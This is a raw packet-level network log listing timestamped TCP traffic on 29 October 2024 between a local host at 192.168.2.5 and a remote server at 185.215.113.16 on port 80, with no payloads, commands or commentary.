Oct 29, 2024 05:03:33.141963005 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.142011881 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.142014980 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.142050982 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.142083883 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.142117977 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.142127991 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.142354012 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.142381907 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.142433882 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.142466068 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.142477036 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.176044941 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.176080942 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.176115990 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.176141024 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.176167011 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.223109007 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.223145962 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.223181009 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.223200083 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.223738909 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.223784924 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.223792076 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.223858118 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.223908901 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.223920107 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.223942995 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.223977089 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.224005938 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.224009991 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.224042892 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.224054098 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.259601116 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.259641886 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.259653091 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.259676933 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.259711981 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.259721041 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.259744883 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.259779930 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.259836912 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.259850025 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.259902954 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.259936094 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.259943962 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.260006905 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.260111094 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.260175943 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.260207891 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.260241985 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.260380983 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.260435104 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.260436058 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.260469913 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.260504007 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.260518074 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.260777950 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.260812044 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.260828972 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.260867119 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.260900974 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.260920048 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.260935068 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.260971069 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.260982990 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.261362076 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.261409998 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.261475086 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.261507988 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.261543989 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.261552095 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.295028925 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.295134068 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.295167923 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.295191050 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.295223951 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.341939926 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.341975927 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.342008114 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.342025042 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.342197895 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.342231989 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.342274904 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.342282057 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.342319012 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.342354059 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.342365026 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.342386961 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.342410088 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.342480898 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.342513084 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.342525005 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.342564106 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.342767954 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.378863096 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.378916979 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.378950119 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.378984928 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.378997087 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.379020929 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.379024029 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.379055023 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.379089117 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.379122019 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.379133940 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.379157066 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.379175901 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.379193068 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.379226923 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.379271984 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.379385948 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.379431963 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.379451990 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.379503012 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.379535913 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.379570961 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.379581928 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.379961014 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.379995108 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.380008936 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.380039930 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.380047083 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.380084038 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.380116940 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.380126953 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.380151987 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.380187988 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.380196095 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.380218029 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.381958961 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.413866043 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.413921118 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.413954020 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.413979053 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.413986921 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.414022923 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.414036036 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.414052963 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.414623976 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.460704088 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.460738897 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.460774899 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.460786104 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.460899115 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.460946083 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.460952044 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.460987091 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.461045980 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.461069107 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.461102962 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.461172104 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.461183071 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.461209059 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.461261034 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.461261988 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.461297035 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.461405993 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.497847080 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.497900009 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.497950077 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.497965097 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.497983932 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.498018026 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.498053074 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.498071909 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.498086929 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.498095989 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.498120070 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.498155117 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.498188019 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.498198986 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.498336077 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.498384953 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.498405933 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.498450041 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.498478889 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.498513937 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.498545885 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.498554945 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.498852015 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.498887062 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.498905897 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.498923063 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.498960018 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.498974085 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.499008894 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.499041080 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.499078035 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.499083996 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.499106884 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.499155045 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.532888889 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.532932997 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.532969952 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.533004045 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.533041000 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.533081055 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.533122063 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.578922987 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.579113007 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.579166889 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.579547882 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.579583883 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.579627991 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.579632044 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.579668045 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.579715967 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.579736948 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.579790115 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.579818964 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.579876900 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.579950094 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.580001116 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.580051899 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.580053091 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.580086946 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.580101013 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.580123901 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.580282927 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.616698027 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.616751909 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.616787910 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.616821051 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.616839886 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.616857052 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.616871119 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.616909027 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.616944075 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.616974115 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.616988897 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.617027044 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.617060900 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.617073059 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.617095947 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.617131948 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.617141008 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.617167950 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.617212057 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.617367983 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.617435932 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.617443085 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.617516041 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.617568970 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.617602110 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.617613077 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.617638111 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.617686987 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.618067980 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.618102074 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.618113041 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.618136883 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.618171930 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.618182898 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.618369102 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.618417025 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.618422985 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.618458033 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.618789911 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.651951075 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.652009964 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.652049065 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.652084112 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.652107954 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.652122021 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.652129889 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.698736906 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.698796988 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.698817015 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.698833942 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.698852062 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.698864937 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.698896885 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.698931932 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.698944092 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.698970079 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.699130058 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.699130058 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.699152946 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.699222088 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.699255943 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.699270010 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.699376106 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.699424982 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.699430943 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.699464083 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.699506998 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.735666990 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.735730886 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.735749006 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.735764980 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.735781908 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.735797882 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.735831022 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.735879898 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.735893965 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.735893965 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.735915899 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.735950947 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.736062050 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.736062050 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.736198902 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.736265898 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.736315012 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.736335039 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.736352921 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.736396074 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.736587048 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.736640930 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.736675978 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.736710072 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.736716032 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.736743927 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.736787081 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.737149954 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.737185001 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.737195969 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.737236977 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.737271070 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.737282991 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.737307072 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.737341881 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.737354040 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.737377882 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.737409115 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.737452030 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.746222019 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.770556927 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.770605087 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.770618916 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.770631075 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.770648003 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.770664930 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.770695925 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.770723104 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:33.817632914 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.817703009 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.817740917 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.817792892 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:33.817795992 CET	50048	80	192.168.2.5	185.215.113.16
